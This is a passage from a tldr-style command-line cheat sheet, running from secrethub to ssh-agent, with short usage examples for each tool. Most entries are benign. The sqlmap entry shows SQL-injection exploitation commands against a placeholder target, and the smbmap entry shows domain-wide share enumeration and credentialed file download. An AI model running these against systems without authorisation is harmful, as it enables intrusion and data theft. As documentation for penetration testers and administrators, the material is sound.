secrethub audit {{path/to/repo_or_secret}}


security-checker
Check if a PHP application uses dependencies with known security vulnerabilities.

More information: https://github.com/sensiolabs/security-checker.

• Look for security issues in the project dependencies (based on the


composer.lock file in the current directory):

security-checker security:check

• Use a specific composer.lock file:

security-checker security:check {{path/to/composer.lock}}

• Return results as a JSON object:

security-checker security:check --format=json


sed
Edit text in a scriptable manner.

More information: https://man.archlinux.org/man/sed.1.

• Replace the first occurrence of a regular expression in each line of a file, and print
the result:

sed 's/{{regular_expression}}/{{replace}}/' {{filename}}

• Replace all occurrences of an extended regular expression in a file, and print the
result:

sed -r 's/{{regular_expression}}/{{replace}}/g' {{filename}}

• Replace all occurrences of a string in a file, overwriting the file (i.e. in-place):

sed -i 's/{{find}}/{{replace}}/g' {{filename}}

• Replace only on lines matching the line pattern:

sed '/{{line_pattern}}/s/{{find}}/{{replace}}/' {{filename}}

• Delete lines matching the line pattern:

sed '/{{line_pattern}}/d' {{filename}}

• Print the first 11 lines of a file:

sed 11q {{filename}}

• Apply multiple find-replace expressions to a file:

sed -e 's/{{find}}/{{replace}}/' -e 's/{{find}}/{{replace}}/'


{{filename}}

• Replace separator / by any other character not used in the find or replace patterns,
e.g. #:

sed 's#{{find}}#{{replace}}#' {{filename}}


semver
Semantic version string parser.

More information: https://github.com/npm/node-semver.

• Check if a version string respects the semantic versioning format (prints an empty
string if it does not match):

semver {{1.2}}

• Convert a version string to the semantic versioning format:

semver --coerce {{1.2}}

• Test if 1.2.3 matches the ^1.0 range (prints an empty string if it does not
match):

semver {{1.2.3}} --range "{{^1.0}}"

• Test with multiple ranges:

semver {{1.2.3}} --range {{">=1.0"}} {{"<2.0"}}

• Test multiple version strings and return only the ones that match:

semver {{1.2.3}} {{2.0.0}} --range "{{^1.0}}"


sendmail
Send email from the command-line.

More information: https://manned.org/sendmail.

• Send a message with the content of message.txt to the mail directory of local
user username:

sendmail {{username}} < {{message.txt}}

• Send an email from you@yourdomain.com (assuming the mail server is configured


for this) to test@gmail.com containing the message in message.txt:

sendmail -f {{you@yourdomain.com}} {{test@gmail.com}} <


{{message.txt}}

• Send an email from you@yourdomain.com (assuming the mail server is configured


for this) to test@gmail.com containing the file file.zip:

sendmail -f {{you@yourdomain.com}} {{test@gmail.com}} <


{{file.zip}}
seq
Output a sequence of numbers to stdout.

More information: https://www.gnu.org/software/coreutils/seq.

• Sequence from 1 to 10:

seq 10

• Every 3rd number from 5 to 20:

seq 5 3 20

• Separate the output with a space instead of a newline:

seq -s " " 5 3 20

• Format output width to a minimum of 4 digits padding with zeros as necessary:

seq -f "%04g" 5 3 20
sequelize
Promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL
Server.

More information: https://sequelize.org/.

• Create a model with 3 fields and a migration file:

sequelize model:generate --name {{table_name}} --attributes


{{field1:integer,field2:string,field3:boolean}}

• Run the migration file:

sequelize db:migrate

• Revert all migrations:

sequelize db:migrate:undo:all

• Create a seed file with the specified name to populate the database:

sequelize seed:generate --name {{seed_filename}}

• Populate database using all seed files:

sequelize db:seed:all
serverless
Toolkit for deploying and operating serverless architectures on AWS, Google Cloud,
Azure and IBM OpenWhisk.

Commands can be run either using the serverless command or its alias, sls.

More information: https://serverless.com/.

• Create a serverless project:

serverless create

• Create a serverless project from a template:

serverless create --template {{template_name}}

• Deploy to a cloud provider:

serverless deploy

• Display information about a serverless project:

serverless info

• Invoke a deployed function:

serverless invoke -f {{function_name}}

• Follow the logs for a project:

serverless logs -t
set
Display, set or unset values of shell attributes and positional parameters.

• Display the names and values of shell variables:

set

• Mark variables that are modified or created for export:

set -a

• Notify of job termination immediately:

set -b

• Set various options, e.g. enable vi style line editing:

set -o {{vi}}

• Set the shell to exit as soon as the first error is encountered (mostly used in
scripts):

set -e
sfdp
Render an image of a scaled force-directed network graph from a graphviz file.

Layouts: dot, neato, twopi, circo, fdp, sfdp, osage & patchwork.

More information: https://graphviz.org/doc/info/command.html.

• Render a png image with a filename based on the input filename and output
format (uppercase -O):

sfdp -T {{png}} -O {{path/to/input.gv}}

• Render a svg image with the specified output filename (lowercase -o):

sfdp -T {{svg}} -o {{path/to/image.svg}} {{path/to/input.gv}}

• Render the output in ps, pdf, svg, fig, png, gif, jpg, json, or dot format:

sfdp -T {{format}} -O {{path/to/input.gv}}

• Render a gif image using stdin and stdout:

echo "{{digraph {this -> that} }}" | sfdp -T {{gif}} >


{{path/to/image.gif}}

• Display help:

sfdp -?
sftp
Secure File Transfer Program.

Interactive program to copy files between hosts over SSH.

For non-interactive file transfers, see scp or rsync.

More information: https://manned.org/sftp.

• Connect to a remote server and enter an interactive command mode:

sftp {{remote_user}}@{{remote_host}}

• Connect using an alternate port:

sftp -P {{remote_port}} {{remote_user}}@{{remote_host}}

• Transfer remote file to the local system:

get {{/path/remote_file}}

• Transfer local file to the remote system:

put {{/path/local_file}}

• Transfer remote directory to the local system recursively (works with put too):

get -R {{/path/remote_directory}}

• Get list of files on local machine:

lls

• Get list of files on remote machine:

ls
sh
Bourne shell, the standard command language interpreter.

See also histexpand for history expansion.

More information: https://manned.org/sh.

• Start an interactive shell session:

sh

• Execute a command and then exit:

sh -c "{{command}}"

• Execute a script:

sh {{path/to/script.sh}}

• Read and execute commands from stdin:

sh -s
sha1sum
Calculate SHA1 cryptographic checksums.

More information: https://www.gnu.org/software/coreutils/sha1sum.

• Calculate the SHA1 checksum for a file:

sha1sum {{path/to/file}}

• Calculate SHA1 checksums for multiple files:

sha1sum {{path/to/file1}} {{path/to/file2}}

• Calculate and save the list of SHA1 checksums to a file:

sha1sum {{path/to/file1}} {{path/to/file2}} > {{path/to/


file.sha1}}

• Read a file of SHA1 sums and verify all files have matching checksums:

sha1sum --check {{path/to/file.sha1}}

• Only show a message for files for which verification fails:

sha1sum --check --quiet {{path/to/file.sha1}}


sha224sum
Calculate SHA224 cryptographic checksums.

More information: https://www.gnu.org/software/coreutils/manual/html_node/sha2-


utilities.html.

• Calculate the SHA224 checksum for a file:

sha224sum {{path/to/file}}

• Calculate SHA224 checksums for multiple files:

sha224sum {{path/to/file1}} {{path/to/file2}}

• Calculate and save the list of SHA224 checksums to a file:

sha224sum {{path/to/file1}} {{path/to/file2}} > {{path/to/


file.sha224}}

• Read a file of SHA224 sums and verify all files have matching checksums:

sha224sum --check {{path/to/file.sha224}}

• Only show a message for files for which verification fails:

sha224sum --check --quiet {{path/to/file.sha224}}


sha256sum
Calculate SHA256 cryptographic checksums.

More information: https://www.gnu.org/software/coreutils/manual/html_node/sha2-


utilities.html.

• Calculate the SHA256 checksum for a file:

sha256sum {{path/to/file}}

• Calculate SHA256 checksums for multiple files:

sha256sum {{path/to/file1}} {{path/to/file2}}

• Calculate and save the list of SHA256 checksums to a file:

sha256sum {{path/to/file1}} {{path/to/file2}} > {{path/to/


file.sha256}}

• Read a file of SHA256 sums and verify all files have matching checksums:

sha256sum --check {{path/to/file.sha256}}

• Only show a message for files for which verification fails:

sha256sum --check --quiet {{path/to/file.sha256}}


sha384sum
Calculate SHA384 cryptographic checksums.

More information: https://www.gnu.org/software/coreutils/manual/html_node/sha2-


utilities.html.

• Calculate the SHA384 checksum for a file:

sha384sum {{path/to/file}}

• Calculate SHA384 checksums for multiple files:

sha384sum {{path/to/file1}} {{path/to/file2}}

• Calculate and save the list of SHA384 checksums to a file:

sha384sum {{path/to/file1}} {{path/to/file2}} > {{path/to/


file.sha384}}

• Read a file of SHA384 sums and verify all files have matching checksums:

sha384sum --check {{path/to/file.sha384}}

• Only show a message for files for which verification fails:

sha384sum --check --quiet {{path/to/file.sha384}}


sha512sum
Calculate SHA512 cryptographic checksums.

More information: https://www.gnu.org/software/coreutils/manual/html_node/sha2-


utilities.html.

• Calculate the SHA512 checksum for a file:

sha512sum {{path/to/file}}

• Calculate SHA512 checksums for multiple files:

sha512sum {{path/to/file1}} {{path/to/file2}}

• Calculate and save the list of SHA512 checksums to a file:

sha512sum {{path/to/file1}} {{path/to/file2}} > {{path/to/


file.sha512}}

• Read a file of SHA512 sums and verify all files have matching checksums:

sha512sum --check {{path/to/file.sha512}}

• Only show a message for files for which verification fails:

sha512sum --check --quiet {{path/to/file.sha512}}


shards
Dependency management tool for the Crystal language.

More information: https://crystal-lang.org/reference/the_shards_command.

• Create a skeleton shard.yml file:

shards init

• Install dependencies from a shard.yml file:

shards install

• Update all dependencies:

shards update

• List all installed dependencies:

shards list

• List version of dependency:

shards version {{path/to/dependency_directory}}


shasum
Calculate or check cryptographic SHA checksums.

More information: https://manned.org/shasum.

• Calculate the SHA1 checksum for a file:

shasum {{path/to/file}}

• Calculate the SHA256 checksum for a file:

shasum --algorithm 256 {{path/to/file}}

• Calculate the SHA512 checksum for multiple files:

shasum --algorithm 512 {{path/to/file1}} {{path/to/file2}}

• Calculate and save the list of SHA256 checksums to a file:

shasum --algorithm 256 {{path/to/file1}} {{path/to/file2}} >


{{path/to/file.sha256}}

• Check a file with a list of sums against the directory's files:

shasum --check {{path/to/file}}

• Check a list of sums and only show a message for files for which verification fails:

shasum --check --quiet {{path/to/file}}

• Calculate the SHA1 checksum from stdin:

{{some_command}} | shasum
shc
Generic shell script compiler.

More information: https://manned.org/shc.

• Compile a shell script:

shc -f {{script}}

• Compile a shell script and specify an output binary file:

shc -f {{script}} -o {{binary}}

• Compile a shell script and set an expiration date for the executable:

shc -f {{script}} -e {{dd/mm/yyyy}}

• Compile a shell script and set a message to display upon expiration:

shc -f {{script}} -e {{dd/mm/yyyy}} -m "{{Please contact your


provider}}"
shellcheck
Shell script static analysis tool.

Check shell scripts for errors, usage of deprecated/insecure features, and bad practices.

More information: https://www.shellcheck.net.

• Check a shell script:

shellcheck {{path/to/script.sh}}

• Check a shell script interpreting it as the specified shell dialect (overrides the
shebang at the top of the script):

shellcheck --shell {{sh|bash|dash|ksh}} {{path/to/script.sh}}

• Ignore one or more error types:

shellcheck --exclude {{SC1009,SC1073}} {{path/to/script.sh}}

• Also check any sourced shell scripts:

shellcheck --checked-sourced {{path/to/script.sh}}

• Display output in the specified format (defaults to tty):

shellcheck --format {{tty|checkstyle|diff|gcc|json|json1|


quiet}} {{path/to/script.sh}}

• Enable one or more optional checks:

shellcheck --enable={{add-default-case|avoid-nullary-
conditions}}

• List all available optional checks that are disabled by default:

shellcheck --list-optional
shift
Bash built-in command that shifts the arguments passed to the calling function or script
by a specified number of places.

More information: https://www.gnu.org/software/bash/manual/bash.html#index-shift.

• Move arguments by one place dropping the first argument:

shift

• Move arguments by N places dropping the first N arguments:

shift {{N}}
shiori
Simple bookmark manager built with Go.

More information: https://github.com/go-shiori/shiori.

• Import bookmarks from HTML Netscape bookmark format file:

shiori import {{path/to/bookmarks.html}}

• Save the specified URL as bookmark:

shiori add {{url}}

• List the saved bookmarks:

shiori print

• Open the saved bookmark in a browser:

shiori open {{bookmark_id}}

• Start the web interface for managing bookmarks at port 8181:

shiori serve --port {{8181}}


shopt
Manage Bash shell options: variables (stored in $BASHOPTS) that control behavior
specific to the Bash shell.

Generic POSIX shell variables (stored in $SHELLOPTS) are managed with the set
command instead.

More information: https://www.gnu.org/software/bash/manual/html_node/The-Shopt-


Builtin.html.

• List of all settable options and whether they are set:

shopt

• Set an option:

shopt -s {{option_name}}

• Unset an option:

shopt -u {{option_name}}

• Print a list of all options and their status formatted as runnable shopt commands:

shopt -p

• Show help for the command:

help shopt
showfigfonts
Display available figlet fonts.

See also figlet.

More information: https://manned.org/showfigfonts.

• Display available fonts:

showfigfonts

• Display available fonts using a specific text:

showfigfonts {{input_text}}
shred
Overwrite files to securely delete data.

More information: https://www.gnu.org/software/coreutils/shred.

• Overwrite a file:

shred {{file}}

• Overwrite a file, leaving zeroes instead of random data:

shred --zero {{file}}

• Overwrite a file 25 times:

shred -n25 {{file}}

• Overwrite a file and remove it:

shred --remove {{file}}


shuf
Generate random permutations.

More information: https://www.gnu.org/software/coreutils/shuf.

• Randomize the order of lines in a file and output the result:

shuf {{filename}}

• Only output the first 5 entries of the result:

shuf --head-count={{5}} {{filename}}

• Write the output to another file:

shuf {{filename}} --output={{output_filename}}

• Generate 3 random numbers in the range 1-10 (inclusive):

shuf --head-count={{3}} --input-range={{1-10}} --repeat


siege
HTTP loadtesting and benchmarking tool.

More information: https://www.joedog.org/siege-manual/.

• Test a URL with default settings:

siege {{https://example.com}}

• Test a list of URLs:

siege --file {{path/to/url_list.txt}}

• Test list of URLs in a random order (Simulates internet traffic):

siege --internet --file {{path/to/url_list.txt}}

• Benchmark a list of URLs (without waiting between requests):

siege --benchmark --file {{path/to/url_list.txt}}

• Set the amount of concurrent connections:

siege --concurrent={{50}} --file {{path/to/url_list.txt}}

• Set how long for the siege to run for:

siege --time={{30s}} --file {{path/to/url_list.txt}}


sindresorhus
Sindre Sorhus's personal CLI.

More information: https://github.com/sindresorhus/sindresorhus-cli.

• Start Sindre's interactive CLI:

sindresorhus
singularity
Manage Singularity containers and images.

• Download a remote image from Sylabs Cloud:

singularity pull --name {{image.sif}} {{library://godlovedc/


funny/lolcow:latest}}

• Rebuild a remote image using the latest Singularity image format:

singularity build {{image.sif}} {{docker://godlovedc/lolcow}}

• Start a container from an image and get a shell inside it:

singularity shell {{image.sif}}

• Start a container from an image and run a command:

singularity exec {{image.sif}} {{command}}

• Start a container from an image and execute the internal runscript:

singularity run {{image.sif}}

• Build a singularity image from a recipe file:

sudo singularity build {{image.sif}} {{recipe}}


sk
Fuzzy finder written in Rust.

Similar to fzf.

More information: https://github.com/lotabout/skim.

• Start skim on all files in the specified directory:

find {{path/to/directory}} -type f | sk

• Start skim for running processes:

ps aux | sk

• Start skim with a specified query:

sk --query "{{query}}"

• Select multiple files with Shift + Tab and write to a file:

find {{path/to/directory}} -type f | sk --multi >


{{filename}}
skaffold
A tool that facilitates continuous development for Kubernetes applications.

More information: https://skaffold.dev.

• Build the artifacts:

skaffold build -f {{skaffold.yaml}}

• Build and deploy your app every time your code changes:

skaffold dev -f {{skaffold.yaml}}

• Run a pipeline file:

skaffold run -f {{skaffold.yaml}}

• Run a diagnostic on Skaffold:

skaffold diagnose -f {{skaffold.yaml}}

• Deploy the artifacts:

skaffold deploy -f {{skaffold.yaml}}


skicka
Manage your Google Drive.

More information: https://github.com/google/skicka.

• Upload a file/folder to Google Drive:

skicka upload {{path/to/local}} {{path/to/remote}}

• Download a file/folder from Google Drive:

skicka download {{path/to/remote}} {{path/to/local}}

• List files:

skicka ls {{path/to/folder}}

• Show amount of space used by children folders:

skicka du {{path/to/parent/folder}}

• Create a folder:

skicka mkdir {{path/to/folder}}

• Delete a file:

skicka rm {{path/to/file}}
sl
Steam locomotive running through your terminal.

More information: https://github.com/mtoyoda/sl.

• Let a steam locomotive run through your terminal:

sl

• The train burns, people scream:

sl -a

• Let the train fly:

sl -F

• Make the train little:

sl -l

• Let the user exit (CTRL + C):

sl -e
slackcat
Utility for passing files and command output to Slack.

More information: https://github.com/bcicen/slackcat.

• Post a file to Slack:

slackcat --channel {{channel_name}} {{path/to/file}}

• Post a file to Slack with a custom filename:

slackcat --channel {{channel_name}} --filename={{filename}}


{{path/to/file}}

• Pipe command output to Slack as a text snippet:

{{command}} | slackcat --channel {{channel_name}} --


filename={{snippet_name}}

• Stream command output to Slack continuously:

{{command}} | slackcat --channel {{channel_name}} --stream


sleep
Delay for a specified amount of time.

More information: https://www.gnu.org/software/coreutils/sleep.

• Delay in seconds:

sleep {{seconds}}

• Delay in minutes:

sleep {{minutes}}m

• Delay in hours:

sleep {{hours}}h
slimrb
Convert Slim files to HTML.

• Convert a Slim file to HTML:

slimrb {{input.slim}} {{output.html}}

• Convert a Slim file and output to prettified HTML:

slimrb --pretty {{input.slim}} {{output.html}}

• Convert a Slim file to ERB:

slimrb --erb {{input.slim}} {{output.erb}}


smalltalkci
Framework for testing Smalltalk projects with GitHub Actions, Travis CI, AppVeyor,
GitLab CI, and others.

More information: https://github.com/hpi-swa/smalltalkCI.

• Run tests for a configuration file:

smalltalkci {{path/to/.smalltalk.ston}}

• Run tests for the .smalltalk.ston configuration in the current directory:

smalltalkci

• Debug tests in headful mode (show VM window):

smalltalkci --headful

• Download and prepare a well-known smalltalk image for the tests:

smalltalkci --smalltalk {{Squeak64-Trunk}}

• Specify a custom Smalltalk image and VM:

smalltalkci --image {{path/to/Smalltalk.image}} -- vm {{path/


to/vm}}

• Clean up caches and delete builds:

smalltalkci --clean
smartctl
View a disk's SMART data and other information.

More information: https://en.wikipedia.org/wiki/S.M.A.R.T..

• View SMART health summary:

sudo smartctl --health {{/dev/sdX}}

• View device information:

sudo smartctl --info {{/dev/sdX}}

• Begin a short self-test:

sudo smartctl --test short {{/dev/sdX}}

• View current/last self-test status and other SMART capabilities:

sudo smartctl --capabilities {{/dev/sdX}}

• View SMART self-test log (if supported):

sudo smartctl --log selftest {{/dev/sdX}}


smbmap
Allow users to enumerate samba share drives across an entire domain.

More information: https://github.com/ShawnDEvans/smbmap.

• Enumerate hosts with NULL sessions enabled and open shares:

smbmap --host-file {{path/to/file}}

• Enumerate hosts and check SMB file permissions:

smbmap --host-file {{path/to/file}} -u {{username}} -p


{{password}} -q

• Connect to an ip or hostname through smb using a username and password:

smbmap -u {{username}} -p {{password}} -d {{domain}} -H


{{ip_or_hostname}}

• Locate and download files [R]ecursively up to N levels depth, searching for


filename pattern (regex), and excluding certain shares:

smbmap --host-file {{path/to/file}} -u {{username}} -p


{{password}} -q -R --depth {{number}} --exclude {{sharename}}
-A {{filepattern}}

• Upload file through smb using username and password:

smbmap -u {{username}} -p {{password}} -d {{domain}} -H


{{ip_or_hostname}} --upload {{path/to/file}} '{{/share_name/
remote_filename}}'
sn
Mono StrongName utility for signing and verifying IL assemblies.

• Generate a new StrongNaming key:

sn -k {{path/to/key.snk}}

• Re-sign an assembly with the specified private key:

sn -R {{path/to/assembly.dll}} {{path/to/key_pair.snk}}

• Show the public key of the private key that was used to sign an assembly:

sn -T {{path/to/assembly.exe}}

• Extract the public key to a file:

sn -e {{path/to/assembly.dll}} {{path/to/output.pub}}
snyk
Find vulnerabilities in your code and remediate risks.

More information: https://snyk.io.

• Log in to your Snyk account:

snyk auth

• Test your code for any known vulnerabilities:

snyk test

• Test a local Docker image for any known vulnerabilities:

snyk test --docker {{docker_image}}

• Record the state of dependencies and any vulnerabilities on snyk.io:

snyk monitor

• Auto patch and ignore vulnerabilities:

snyk wizard
socat
Multipurpose relay (SOcket CAT).

• Listen to a port, wait for an incoming connection and transfer data to STDIO:

socat - TCP-LISTEN:8080,fork

• Create a connection to a host and port, transfer data in STDIO to connected host:

socat - TCP4:www.example.com:80

• Forward incoming data of a local port to another host and port:

socat TCP-LISTEN:80,fork TCP4:www.example.com:80


solcjs
A set of JavaScript bindings for the Solidity compiler.

More information: https://github.com/ethereum/solc-js.

• Compile a specific contract to hex:

solcjs --bin {{path/to/file.sol}}

• Compile the ABI of a specific contract:

solcjs --abi {{path/to/file.sol}}

• Specify a base path to resolve imports from:

solcjs --bin --base-path {{path/to/directory}} {{path/to/


file.sol}}

• Specify one or more paths to include containing external code:

solcjs --bin --include-path {{path/to/directory}} {{path/to/


file.sol}}

• Optimise the generated bytecode:

solcjs --bin --optimize {{path/to/file.sol}}


solo
Interact with Solo hardware security keys.

More information: https://github.com/solokeys/solo-python.

• List connected Solos:

solo ls

• Update the currently connected Solo's firmware to the latest version:

solo key update

• Blink the LED of a specific Solo:

solo key wink --serial {{serial_number}}

• Generate random bytes using the currently connected Solo's secure random
number generator:

solo key rng raw

• Monitor the serial output of a Solo:

solo monitor {{path/to/serial_port}}


sonar-scanner
SonarScanner is a generic scanner for SonarQube projects that do not use build tools
such as Maven, Gradle, or Ant.

More information: https://docs.sonarqube.org/latest/analysis/scan/sonarscanner/.

• Scan a project with configuration file in your project's root directory named
sonar-project.properties:

sonar-scanner

• Scan a project using configuration file other than sonar-


project.properties:

sonar-scanner -D{{project.settings=myproject.properties}}

• Print help information:

sonar-scanner -h

• Print debugging information:

sonar-scanner -X
sops
SOPS: Secrets OPerationS.

Tool for managing secrets.

More information: https://github.com/mozilla/sops.

• Encrypt a file:

sops -e {{path/to/myfile.json}} > {{path/to/myfile.enc.json}}

• Decrypt a file to the standard output:

sops -d {{path/to/myfile.enc.json}}

• Rotate data keys for a sops file:

sops -r {{path/to/myfile.enc.yaml}}

• Change the extension of the file once encrypted:

sops -d --input-type json {{path/to/myfile.enc.json}}

• Extract keys by naming them, and array elements by numbering them:

sops -d --extract '["an_array"][1]' {{path/to/


myfile.enc.json}}

• Show the difference between two sops files:

diff <(sops -d {{path/to/secret1.enc.yaml}}) <(sops -d


{{path/to/secret2.enc.yaml}})
sort
Sort lines of text files.

More information: https://www.gnu.org/software/coreutils/sort.

• Sort a file in ascending order:

sort {{path/to/file}}

• Sort a file in descending order:

sort --reverse {{path/to/file}}

• Sort a file in case-insensitive way:

sort --ignore-case {{path/to/file}}

• Sort a file using numeric rather than alphabetic order:

sort --numeric-sort {{path/to/file}}

• Sort /etc/passwd by the 3rd field of each line numerically, using ":" as a field
separator:

sort --field-separator={{:}} --key={{3n}} {{/etc/passwd}}

• Sort a file preserving only unique lines:

sort --unique {{path/to/file}}

• Sort a file, printing the output to the specified output file (can be used to sort a file
in-place):

sort --output={{path/to/file}} {{path/to/file}}

• Sort numbers with exponents:

sort --general-numeric-sort {{path/to/file}}


source
Execute commands from a file in the current shell.

More information: https://manned.org/source.

• Evaluate contents of a given file:

source {{path/to/file}}

• Evaluate contents of a given file (alternatively replacing source with .):

. {{path/to/file}}
sox
Sound eXchange: play, record and convert audio files.

Audio formats are identified by the extension.

More information: http://sox.sourceforge.net.

• Merge two audio files into one:

sox -m {{input_audiofile1}} {{input_audiofile2}}


{{output_audiofile}}

• Trim an audio file to the specified times:

sox {{input_audiofile}} {{output_audiofile}} trim {{start}}


{{end}}

• Normalize an audio file (adjust volume to the maximum peak level, without
clipping):

sox --norm {{input_audiofile}} {{output_audiofile}}

• Reverse and save an audio file:

sox {{input_audiofile}} {{output_audiofile}} reverse

• Print statistical data of an audio file:

sox {{input_audiofile}} -n stat

• Increase the volume of an audio file by 2x:

sox -v 2.0 {{input_audiofile}} {{output_audiofile}}


spark
The Laravel Spark command-line tool.

More information: https://spark.laravel.com.

• Register your API token:

spark register {{token}}

• Display the currently registered API token:

spark token

• Create a new Spark project:

spark new {{project_name}}

• Create a new Spark project with Braintree stubs:

spark new {{project_name}} --braintree

• Create a new Spark project with team-based billing stubs:

spark new {{project_name}} --team-billing


spatial
A set of commands for managing and developing SpatialOS projects.

• Run this when you use a project for the first time:

spatial worker build

• Build workers for local deployment on Unity on macOS:

spatial worker build --target=development --target=Osx

• Build workers for local deployment on Unreal on Windows:

spatial worker build --target=local --target=Windows

• Deploy locally:

spatial local launch {{launch_config}} --


snapshot={{snapshot_file}}

• Launch a local worker to connect to your local deployment:

spatial local worker launch {{worker_type}} {{launch_config}}

• Upload an assembly to use for cloud deployments:

spatial cloud upload {{assembly_name}}

• Launch a cloud deployment:

spatial cloud launch {{assembly_name}} {{launch_config}}


{{deployment_name}}

• Clean worker directories:

spatial worker clean


speed-test
Test your internet connection speed and ping using speedtest.net from the CLI.

More information: https://github.com/sindresorhus/speed-test.

• Test your internet connection and ping speed:

speed-test

• Output the results as JSON:

speed-test --json

• Output the results in megabytes per second (MBps):

speed-test --bytes

• Output more detailed information:

speed-test --verbose
speedtest-cli
Unofficial command-line interface for testing internet bandwidth using https://
speedtest.net.

See also speedtest for the official CLI.

More information: https://github.com/sivel/speedtest-cli.

• Run a speed test:

speedtest-cli

• Run a speed test and display values in bytes, instead of bits:

speedtest-cli --bytes

• Run a speed test using HTTPS, instead of HTTP:

speedtest-cli --secure

• Run a speed test without performing download tests:

speedtest-cli --no-download

• Run a speed test and generate an image of the results:

speedtest-cli --share

• List all speedtest.net servers, sorted by distance:

speedtest-cli --list

• Run a speed test to a specific speedtest.net server:

speedtest-cli --server {{server_id}}

• Run a speed test and display the results as JSON (suppresses progress
information):

speedtest-cli --json
speedtest
Official command-line interface for testing internet bandwidth using https://
speedtest.net.

Note: some platforms link speedtest to speedtest-cli. If some of the examples in


this page don't work, see speedtest-cli.

More information: https://www.speedtest.net/apps/cli.

• Run a speed test:

speedtest

• Run a speed test and specify the unit of the output:

speedtest --unit={{auto-decimal-bits|auto-decimal-bytes|auto-
binary-bits|auto-binary-bytes}}

• Run a speed test and specify the output format:

speedtest --format={{human-readable|csv|tsv|json|jsonl|json-
pretty}}

• Run a speed test and specify the number of decimal points to use (0 to 8, defaults
to 2):

speedtest --precision={{precision}}

• Run a speed test and print its progress (only available for output format human-
readable and json):

speedtest --progress={{yes|no}}

• List all speedtest.net servers, sorted by distance:

speedtest --servers

• Run a speed test to a specific speedtest.net server:

speedtest --server-id={{server_id}}
spfquery
Query Sender Policy Framework records to validate e-mail senders.

More information: https://www.libspf2.org/.

• Check if an IP address is allowed to send an e-mail from the specified e-mail


address:

spfquery -ip {{8.8.8.8}} -sender {{sender@example.com}}

• Turn on debugging output:

spfquery -ip {{8.8.8.8}} -sender {{sender@example.com}} --


debug
sphinx-build
Sphinx documentation generator.

More information: http://www.sphinx-doc.org/en/master/man/sphinx-build.html.

• Build documentation:

sphinx-build -b {{html|epub|text|latex|man|...}} {{path/to/


source_dir}} {{path/to/build_dir}}

• Build documentations intended for readthedocs.io (requires the sphinx-rtd-theme


pip package):

sphinx-build -b {{html}} {{path/to/docs_dir}} {{path/to/


build_dir}}
spike
A fully featured static website generator written in JavaScript.

More information: https://spike.js.org.

• Create a new project using the default template:

spike new {{project_name}}

• Compile your project, watch for changes, and auto-reload the browser:

spike watch

• Compile your project once to the "public" directory:

spike compile

• Remove the output directory:

spike clean
split
Split a file into pieces.

More information: https://www.gnu.org/software/coreutils/split.

• Split a file, each split having 10 lines (except the last split):

split -l {{10}} {{filename}}

• Split a file into 5 files. File is split such that each split has same size (except the
last split):

split -n {{5}} {{filename}}

• Split a file with 512 bytes in each split (except the last split; use 512k for kilobytes
and 512m for megabytes):

split -b {{512}} {{filename}}

• Split a file with at most 512 bytes in each split without breaking lines:

split -C {{512}} {{filename}}


sponge
Soak up the input before writing the output file.

More information: https://manned.org/sponge.

• Append file content to the source file:

cat {{path/to/file}} | sponge -a {{path/to/file}}

• Remove all lines starting with # in a file:

grep -v '^{{#}}' {{path/to/file}} | sponge {{path/to/file}}


sqlite3
The command-line interface to SQLite 3, which is a self-contained file-based embedded
SQL engine.

More information: https://sqlite.org.

• Start an interactive shell with a new database:

sqlite3

• Open an interactive shell against an existing database:

sqlite3 {{path/to/database.sqlite3}}

• Execute an SQL statement against a database and then exit:

sqlite3 {{path/to/database.sqlite3}} '{{SELECT * FROM


some_table;}}'
sqlmap
Detect and exploit SQL injection flaws.

More information: https://sqlmap.org.

• Run sqlmap against a single target URL:

python sqlmap.py -u "{{http://www.target.com/vuln.php?id=1}}"

• Send data in a POST request (--data implies POST request):

python sqlmap.py -u "{{http://www.target.com/vuln.php}}" --


data="{{id=1}}"

• Change the parameter delimiter (& is the default):

python sqlmap.py -u "{{http://www.target.com/vuln.php}}" --


data="{{query=foobar;id=1}}" --param-del="{{;}}"

• Select a random User-Agent from ./txt/user-agents.txt and use it:

python sqlmap.py -u "{{http://www.target.com/vuln.php}}" --


random-agent

• Provide user credentials for HTTP protocol authentication:

python sqlmap.py -u "{{http://www.target.com/vuln.php}}" --


auth-type {{Basic}} --auth-cred "{{testuser:testpass}}"
sqsc
A command-line AWS Simple Queue Service client.

More information: https://github.com/yongfei25/sqsc.

• List all queues:

sqsc lq {{queue_prefix}}

• List all messages in a queue:

sqsc ls {{queue_name}}

• Copy all messages from one queue to another:

sqsc cp {{source_queue}} {{destination_queue}}

• Move all messages from one queue to another:

sqsc mv {{source_queue}} {{destination_queue}}

• Describe a queue:

sqsc describe {{queue_name}}

• Query a queue with SQL syntax:

sqsc query "SELECT body FROM {{queue_name}} WHERE body LIKE


'%user%'"

• Pull all messages from a queue into a local SQLite database in your present
working directory:

sqsc pull {{queue_name}}


srm
Securely remove files or directories.

Overwrites the existing data one or multiple times. Drop in replacement for rm.

More information: http://srm.sourceforge.net/srm.html.

• Remove a file after a single-pass overwriting with random data:

srm -s {{path/to/file}}

• Remove a file after seven passes of overwriting with random data:

srm -m {{path/to/file}}

• Recursively remove a directory and its contents overwriting each file with a single-
pass of random data:

srm -r -s {{path/to/directory}}

• Prompt before every removal:

srm -i {{\*}}
ss-local
Run a Shadowsocks client as a SOCKS5 proxy.

More information: https://github.com/shadowsocks/shadowsocks-libev/blob/master/


doc/ss-local.asciidoc.

• Run a Shadowsocks proxy by specifying the host, server port, local port, password,
and encryption method:

ss-local -s {{host}} -p {{server_port}} -l {{local port}} -k


{{password}} -m {{encrypt_method}}

• Run a Shadowsocks proxy by specifying the config file:

ss-local -c {{path/to/config/file.json}}

• Use a plugin to run the proxy client:

ss-local --plugin {{plugin_name}} --plugin-opts


{{plugin_options}}

• Enable TCP fast open:

ss-local --fast-open
ssh-add
Manage loaded ssh keys in the ssh-agent.

Ensure that ssh-agent is up and running for the keys to be loaded in it.

More information: https://man.openbsd.org/ssh-add.

• Add the default ssh keys in ~/.ssh to the ssh-agent:

ssh-add

• Add a specific key to the ssh-agent:

ssh-add {{path/to/private_key}}

• List fingerprints of currently loaded keys:

ssh-add -l

• Delete a key from the ssh-agent:

ssh-add -d {{path/to/private_key}}

• Delete all currently loaded keys from the ssh-agent:

ssh-add -D

• Add a key to the ssh-agent and the keychain:

ssh-add -K {{path/to/private_key}}
ssh-agent
Spawn an SSH Agent process.

An SSH Agent holds SSH keys decrypted in memory until removed or the process is
killed.

See also ssh-add, which can add and manage keys held by an SSH Agent.

More information: https://man.openbsd.org/ssh-agent.

